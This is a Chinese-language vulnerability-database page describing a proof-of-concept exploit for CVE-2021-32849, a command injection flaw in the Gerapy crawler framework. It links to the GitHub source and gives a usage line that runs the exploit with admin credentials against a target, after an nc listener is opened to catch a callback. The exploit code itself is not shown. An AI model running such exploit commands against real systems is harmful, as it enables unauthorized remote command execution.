CVE-2021-32849 PoC — Gerapy 命令注入漏洞

来源

https://github.com/lowkey0808/cve-2021-32849

关联漏洞

标题: Gerapy 命令注入漏洞 (CVE-2021-32849)
Description:Gerapy是一款基于Scrapy、Scrapyd、Django和Vue.js的分布式爬虫管理框架。 Gerapy 存在安全漏洞，该漏洞源于经过身份验证的用户可以执行任意命令。

Description

cve-2021-32849(gerapy命令执行)

介绍

# cve-2021-32849
cve-2021-32849(gerapy命令执行)

# 使用方式
先开启一个nc进行监听，再用exp去打
```
python3 CVE-2021-32849.py -u http://192.168.1.69:8000 -U admin -P admin@123 -r 10.10.16.34 -p 8888 -c id
```
![图片](https://user-images.githubusercontent.com/49674960/165035254-0a9f5f92-101a-476b-ab1d-1ae1024a4eac.png)

文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看

备注

1. 建议优先通过来源进行访问。

2. 本地 POC 快照面向订阅用户开放；当原始来源失效或无法访问时，本地镜像作为订阅权益的一部分提供。

查看订阅方案 →

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

CVE-2021-32849 PoC — Gerapy 命令注入漏洞

来源

关联漏洞

Description

介绍

文件快照

备注

目标达成感谢每一位支持者 — 我们达成了 100% 目标！